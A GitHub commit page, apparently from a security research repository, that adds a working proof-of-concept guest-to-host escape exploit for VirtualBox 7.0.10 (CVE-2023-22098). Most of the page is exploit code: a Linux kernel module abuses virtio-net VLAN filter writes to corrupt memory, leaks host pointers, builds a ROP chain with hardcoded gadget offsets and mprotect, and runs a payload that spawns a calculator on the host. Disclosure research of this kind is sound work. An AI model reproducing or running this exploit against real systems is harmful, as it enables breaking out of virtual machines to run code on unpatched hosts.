Skip to content

Commit

Permalink
Add VirtualBox exploit. (#84)
Browse files Browse the repository at this point in the history
  • Loading branch information
TheOfficialFloW authored Feb 20, 2024
1 parent 1540941 commit 07244cf
Show file tree
Hide file tree
Showing 7 changed files with 388 additions and 0 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ security vulnerabilities.

| Year | Title | Advisories | Links |
| ---- | ----- | ---------- | ----- |
| 2023 | Oracle VM VirtualBox 7.0.10 r158379 Escape | [CVE-2023-22098](https://github.com/google/security-research/security/advisories/GHSA-q7p4-pxjx-6h42) | [PoC](pocs/oracle/virtualbox/cve-2023-22098)
| 2023 | Linux: eBPF Path Pruning gone wrong | [CVE-2023-2163](https://github.com/google/security-research/security/advisories/GHSA-j87x-j6mh-mv8v) | [PoC](pocs/linux/cve-2023-2163)
| 2023 | XGETBV is non-deterministic on Intel CPUs | | [PoC](pocs/cpus/xgetbv)
| 2023 | XSAVES Instruction May Fail to Save XMM Registers | | [PoC](pocs/cpus/errata/amd/1386)
Expand Down
13 changes: 13 additions & 0 deletions pocs/oracle/virtualbox/cve-2023-22098/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
obj-m += exploit.o

all:
gcc -nostartfiles -nostdlib -o payload.elf start.S payload.c
objcopy -O binary -j .text -j .rodata payload.elf payload.bin
xxd -i payload.bin > payload.h
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
rm payload.bin
rm payload.elf
rm payload.h
8 changes: 8 additions & 0 deletions pocs/oracle/virtualbox/cve-2023-22098/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# Oracle VM VirtualBox 7.0.10 r158379 Escape

This Proof-Of-Concept demonstrates the exploitation of [CVE-2023-22098](https://github.com/google/security-research/security/advisories/GHSA-q7p4-pxjx-6h42) against VirtualBox 7.0.10 r158379.

## Credits

Andy Nguyen (theflow@)

320 changes: 320 additions & 0 deletions pocs/oracle/virtualbox/cve-2023-22098/exploit.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,320 @@
#include <linux/mman.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/virtio_net.h>
#include <linux/virtio_pci.h>

#include "payload.h"

MODULE_AUTHOR("Andy Nguyen");
MODULE_DESCRIPTION("VirtualBox virtio-net exploit");
MODULE_LICENSE("GPL");

#define RELEASE

#ifdef RELEASE // r158379

#define BAR_OFF 0x4
#define OFFSET_OFF 0x8
#define LENGTH_OFF 0xc

#define OFF_MMIO_OFF 0x0
#define CB_MMIO_OFF 0x2

#define DEV_INS_R3_OFF 0x40
#define PFN_CONFIG_READ_OFF 0x58

#define VIRTQUEUE_SIZE 0x48

#define VIRTQUEUES_OFF 0x20
#define PCI_CFG_DATA_OFF_OFF 0x707
#define VIRTQ_SELECT_OFF 0x70a
#define LOC_COMMON_CFG_CAP_OFF 0x724
#define LOC_DEVICE_CAP_OFF 0x734

#define VLAN_FILTER_OFF 0xf94
#define FAKE_VIRTIOCORE_OFF 0x2000
#define FAKE_PCICAP_OFF 0x2300
#define PCI_DEV_INT_OFF 0x2100

#define ROP_OFF 0x2200
#define PAYLOAD_OFF 0x2400
#define STACK_OFF 0x2400

// VBoxRT.so

#define MPROTECT 0x816c0
#define RT_FILE_QUERY_SIZE 0x2370f0

// VBoxDD.so

#define RT_FILE_QUERY_SIZE_PLT 0x570028

#define VIRTIO_R3_PCI_CONFIG_READ_OFF 0x16c330

// 0x000000000016a8ea : push rdi ; jmp qword ptr [rsi - 0x77]
#define PUSH_RDI_JMP_QWORD_PTR_RSI_MINUS_77 0x000000000016a8ea
// 0x0000000000195036 : pop rsp ; ret
#define POP_RSP_RET 0x0000000000195036

// 0x00000000000e88f4 : pop rax ; ret
#define POP_RAX_RET 0x00000000000e88f4
// 0x0000000000054d33 : pop rdi ; add al, 0x89 ; ret
#define POP_RDI_ADD_AL_89_RET 0x0000000000054d33
// 0x000000000010ec0e : pop rsi ; ret
#define POP_RSI_RET 0x000000000010ec0e
// 0x000000000009f7f3 : pop rdx ; ret
#define POP_RDX_RET 0x000000000009f7f3

// 0x0000000000205798 : mov qword ptr [rsi], rax ; ret
#define MOV_QWORD_PTR_RSI_RAX_RET 0x0000000000205798
// 0x000000000022e6f8 : mov rax, qword ptr [rax] ; ret
#define MOV_RAX_QWORD_PTR_RAX_RET 0x000000000022e6f8
// 0x00000000000d7d02 : add rax, rsi ; ret
#define ADD_RAX_RSI_RET 0x00000000000d7d02

#endif

#define VIRTIO_REGION_PCI_CAP 2

struct virtio_pci_device {
struct virtio_device vdev;
struct pci_dev *pci_dev;
};

static struct virtio_pci_device *to_vp_device(struct virtio_device *vdev) {
return container_of(vdev, struct virtio_pci_device, vdev);
}

struct control_buf {
struct virtio_net_ctrl_hdr hdr;
virtio_net_ctrl_ack status;
__virtio16 vid;
};

struct virtexp_info {
struct virtio_device *vdev;
struct virtio_pci_device *vp_dev;
struct virtqueue *vqs[3];
struct control_buf *ctrl;
};

static void write_bits(struct virtexp_info *vi, u16 off, u64 val,
unsigned bits) {
struct scatterlist sgs[3];
struct scatterlist *psgs[3];
unsigned tmp;
unsigned i;

for (i = 0; i < bits; i++) {
vi->ctrl->hdr.class = VIRTIO_NET_CTRL_VLAN;
vi->ctrl->hdr.cmd = (val & (1LL << i) ? VIRTIO_NET_CTRL_VLAN_ADD
: VIRTIO_NET_CTRL_VLAN_DEL);
vi->ctrl->vid = cpu_to_virtio16(vi->vdev, (off - VLAN_FILTER_OFF) * 8 + i);
vi->ctrl->status = ~0;

sg_init_one(&sgs[0], &vi->ctrl->hdr, sizeof(vi->ctrl->hdr));
// Size needs + 3 because there is a bug in VirtualBox
sg_init_one(&sgs[1], &vi->ctrl->vid, sizeof(vi->ctrl->vid) + 3);
sg_init_one(&sgs[2], &vi->ctrl->status, sizeof(vi->ctrl->status));

psgs[0] = &sgs[0];
psgs[1] = &sgs[1];
psgs[2] = &sgs[2];

virtqueue_add_sgs(vi->vqs[2], psgs, 2, 1, vi, GFP_ATOMIC);

virtqueue_kick(vi->vqs[2]);

while (!virtqueue_get_buf(vi->vqs[2], &tmp) &&
!virtqueue_is_broken(vi->vqs[2]))
cpu_relax();
}
}

static void write64(struct virtexp_info *vi, u16 off, u64 val) {
return write_bits(vi, off, val, 64);
}

static void write32(struct virtexp_info *vi, u16 off, u32 val) {
return write_bits(vi, off, val, 32);
}

static void write16(struct virtexp_info *vi, u16 off, u16 val) {
return write_bits(vi, off, val, 16);
}

static void write8(struct virtexp_info *vi, u16 off, u8 val) {
return write_bits(vi, off, val, 8);
}

static void prepare_read_config(struct virtexp_info *vi, u32 off, u32 len) {
// Fake VIRTIOCORE
write8(vi, FAKE_VIRTIOCORE_OFF + PCI_CFG_DATA_OFF_OFF, 0);
write16(vi, FAKE_VIRTIOCORE_OFF + VIRTQ_SELECT_OFF,
((PCI_DEV_INT_OFF + DEV_INS_R3_OFF) -
(FAKE_VIRTIOCORE_OFF + VIRTQUEUES_OFF)) /
VIRTQUEUE_SIZE);
write16(vi, FAKE_VIRTIOCORE_OFF + LOC_COMMON_CFG_CAP_OFF + OFF_MMIO_OFF, 0);
write16(vi, FAKE_VIRTIOCORE_OFF + LOC_COMMON_CFG_CAP_OFF + CB_MMIO_OFF,
0xffff);
write16(vi, FAKE_VIRTIOCORE_OFF + LOC_DEVICE_CAP_OFF + OFF_MMIO_OFF, 0);
write16(vi, FAKE_VIRTIOCORE_OFF + LOC_DEVICE_CAP_OFF + CB_MMIO_OFF, 0);

// Fake VIRTIO_PCI_CAP_T
write8(vi, FAKE_PCICAP_OFF + BAR_OFF, VIRTIO_REGION_PCI_CAP);
write32(vi, FAKE_PCICAP_OFF + OFFSET_OFF, off);
write32(vi, FAKE_PCICAP_OFF + LENGTH_OFF, len);

// Partially corrupt pDevInsR3 pointer to cause a type confusion:
// - pvInstanceDataR3 (0x18) -> pCritSectRoR3 (0x28)
// - pPciCfgCap (0x1a8) -> pCommonCfgCap (0x1b8)
write8(vi, PCI_DEV_INT_OFF + DEV_INS_R3_OFF, 0x10);
}

static u32 read_config32(struct virtexp_info *vi, u32 off) {
u32 val;
prepare_read_config(vi, off, sizeof(val));
pci_read_config_dword(vi->vp_dev->pci_dev, 0, &val);
return val;
}

static u16 read_config16(struct virtexp_info *vi, u32 off) {
u16 val;
prepare_read_config(vi, off, sizeof(val));
pci_read_config_word(vi->vp_dev->pci_dev, 0, &val);
return val;
}

static void escape(struct virtexp_info *vi) {
u64 pDevInsR3;
u64 virtioR3PciConfigRead;
u64 VBoxDD_base;
unsigned tmp;
unsigned i;

// STAGE 1: Leak pointers

pDevInsR3 = (u64)read_config32(vi, VIRTIO_PCI_COMMON_Q_DESCHI) << 32 |
(u64)read_config32(vi, VIRTIO_PCI_COMMON_Q_DESCLO);
pDevInsR3 -= 0x10;
printk("pDevInsR3: %llx\n", pDevInsR3);

virtioR3PciConfigRead =
(u64)read_config16(vi, VIRTIO_PCI_COMMON_Q_SIZE) << 48 |
(u64)read_config16(vi, VIRTIO_PCI_COMMON_Q_NOFF) << 32 |
(u64)read_config16(vi, VIRTIO_PCI_COMMON_Q_ENABLE) << 16 |
(u64)read_config16(vi, VIRTIO_PCI_COMMON_Q_MSIX);
printk("virtioR3PciConfigRead: %llx\n", virtioR3PciConfigRead);

VBoxDD_base = virtioR3PciConfigRead - VIRTIO_R3_PCI_CONFIG_READ_OFF;
printk("VBoxDD_base: %llx\n", VBoxDD_base);

// STAGE 2: Build ROP chain

// Copy payload
for (i = 0; i < payload_bin_len; i++) {
write8(vi, PAYLOAD_OFF + i, payload_bin[i]);
}

// Dynamically resolve mprotect
write64(vi, ROP_OFF + 0x00, VBoxDD_base + POP_RAX_RET);
write64(vi, ROP_OFF + 0x08, VBoxDD_base + RT_FILE_QUERY_SIZE_PLT);
write64(vi, ROP_OFF + 0x10, VBoxDD_base + MOV_RAX_QWORD_PTR_RAX_RET);
write64(vi, ROP_OFF + 0x18, VBoxDD_base + POP_RSI_RET);
write64(vi, ROP_OFF + 0x20, -RT_FILE_QUERY_SIZE + MPROTECT);
write64(vi, ROP_OFF + 0x28, VBoxDD_base + ADD_RAX_RSI_RET);
write64(vi, ROP_OFF + 0x30, VBoxDD_base + POP_RSI_RET);
write64(vi, ROP_OFF + 0x38, pDevInsR3 + ROP_OFF + 0x78);
write64(vi, ROP_OFF + 0x40, VBoxDD_base + MOV_QWORD_PTR_RSI_RAX_RET);

// Call mprotect
write64(vi, ROP_OFF + 0x48, VBoxDD_base + POP_RDI_ADD_AL_89_RET);
write64(vi, ROP_OFF + 0x50, pDevInsR3 + 0x2000);
write64(vi, ROP_OFF + 0x58, VBoxDD_base + POP_RSI_RET);
write64(vi, ROP_OFF + 0x60, 0x1000);
write64(vi, ROP_OFF + 0x68, VBoxDD_base + POP_RDX_RET);
write64(vi, ROP_OFF + 0x70, PROT_READ | PROT_WRITE | PROT_EXEC);
write64(vi, ROP_OFF + 0x78, 0xDEADBEEF); // mprotect

// Jump to payload
write64(vi, ROP_OFF + 0x80, VBoxDD_base + POP_RDI_ADD_AL_89_RET);
write64(vi, ROP_OFF + 0x88, VBoxDD_base);
write64(vi, ROP_OFF + 0x90, VBoxDD_base + POP_RSI_RET);
write64(vi, ROP_OFF + 0x98, pDevInsR3 + STACK_OFF);
write64(vi, ROP_OFF + 0xa0, pDevInsR3 + PAYLOAD_OFF);

// STAGE 3: Code execution

// Corrupt pDevInsR3 pointer
write64(vi, PCI_DEV_INT_OFF + DEV_INS_R3_OFF, pDevInsR3 + ROP_OFF);

// Corrupt pfnConfigRead pointer
write64(vi, PCI_DEV_INT_OFF + PFN_CONFIG_READ_OFF,
VBoxDD_base + PUSH_RDI_JMP_QWORD_PTR_RSI_MINUS_77);

// Set stack pivot gadget
write64(vi, PCI_DEV_INT_OFF - 0x77, VBoxDD_base + POP_RSP_RET);

// Trigger pfnConfigRead dereference
pci_read_config_dword(vi->vp_dev->pci_dev, 0, &tmp);
}

static int exploit_probe(struct virtio_device *vdev) {
static vq_callback_t *callbacks[] = {NULL, NULL, NULL};
static const char *names[] = {"rx", "tx", "ctrl"};
struct virtexp_info *vi;
int ret;

vi = kzalloc(sizeof(struct virtexp_info), GFP_KERNEL);
if (!vi) return -ENOMEM;

vi->ctrl = kzalloc(sizeof(struct control_buf), GFP_KERNEL);
if (!vi->ctrl) return -ENOMEM;

vi->vp_dev = to_vp_device(vdev);

vi->vdev = vdev;
vdev->priv = vi;

ret = virtio_find_vqs(vdev, 3, vi->vqs, callbacks, names, NULL);
if (ret) return ret;

virtio_device_ready(vdev);

escape(vi);

return 0;
}

static void exploit_remove(struct virtio_device *vdev) {
struct virtexp_info *vi = vdev->priv;

vdev->config->reset(vdev);
vdev->config->del_vqs(vdev);
kfree(vi->ctrl);
kfree(vi);
}

static struct virtio_device_id exploit_ids[] = {
{
VIRTIO_ID_NET,
VIRTIO_DEV_ANY_ID,
},
{0},
};

static unsigned int features[] = {};

static struct virtio_driver exploit = {
.feature_table = features,
.feature_table_size = ARRAY_SIZE(features),
.driver.name = "exploit",
.driver.owner = THIS_MODULE,
.id_table = exploit_ids,
.probe = exploit_probe,
.remove = exploit_remove,
};

module_virtio_driver(exploit);
MODULE_DEVICE_TABLE(virtio, exploit_ids);
36 changes: 36 additions & 0 deletions pocs/oracle/virtualbox/cve-2023-22098/payload.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#include <stdint.h>
#include <stdlib.h>

#define RELEASE

#ifdef RELEASE // r158379

// VBoxRT.so

#define FORK 0x89690
#define EXECVE 0x89b30
#define RT_FILE_QUERY_SIZE 0x2370f0

// VBoxDD.so

#define RT_FILE_QUERY_SIZE_PLT 0x570028

#endif

void main(uintptr_t VBoxDD_base) {
char calc[] = "/usr/bin/gnome-calculator";
char display[] = "DISPLAY=:0.0";

uintptr_t VBoxRT_base =
*(uintptr_t *)(VBoxDD_base + RT_FILE_QUERY_SIZE_PLT) - RT_FILE_QUERY_SIZE;
int (*fork)(void) = (void *)(VBoxRT_base + FORK);
int (*execve)(const char *filename, char *const argv[], char *const envp[]) =
(void *)(VBoxRT_base + EXECVE);

int pid = fork();
if (pid == 0) {
char *argv[2] = {calc, NULL};
char *envp[2] = {display, NULL};
execve(argv[0], argv, envp);
}
}
Loading

0 comments on commit 07244cf

Please sign in to comment.